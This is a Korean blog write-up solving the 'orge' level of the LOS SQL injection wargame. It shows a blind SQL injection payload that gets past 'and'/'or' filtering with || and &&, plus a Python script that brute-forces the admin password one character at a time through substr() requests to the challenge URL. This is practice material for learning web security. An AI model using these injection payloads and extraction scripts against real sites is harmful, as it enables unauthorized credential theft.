728x90
입력한 pw 값과 db에 저장된 pw 값이 같으면 풀리는 문제다.
and와 or이 필터링된다.
알고 있는 값이 없으므로 Blind SQL Injection으로 해결해야 한다.
우선 pw의 길이를 알아내기 위해 다음과 같이 쿼리문을 작성했다.
?pw=1' || id='admin' %26%26 length(pw)=1%23
pw 길이가 8인 것을 알았으니 이를 이용해 파이썬으로 자동화 코드를 작성한다.
쿠키값을 확인해주고 작성한 코드에 대입한다.
import requests
password=""
cookies = {"PHPSESSID" : "쿠키값"}
for j in range(0, 9):
for i in range(48, 91):
urls="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php" + "?pw=%27%20%20||%20id=%27admin%27%20%26%26%20substr(pw,"+str(j)+",%201)=%27"+chr(i)
with requests.Session() as s:
response=s.get(urls, cookies=cookies)
if "Hello admin" in response.text:
print(chr(i), end="")
break
알파벳을 소문자로 바꿔주고 pw에 대입해보자.
Clear!
728x90
'WEB > LOS' 카테고리의 다른 글
[LOS] vampire (0) | 2021.06.27 |
---|---|
[LOS] troll (0) | 2021.06.27 |
[LOS] darkelf (0) | 2021.05.20 |
[LOS] wolfman (0) | 2021.05.13 |
[LOS] orc (0) | 2021.05.07 |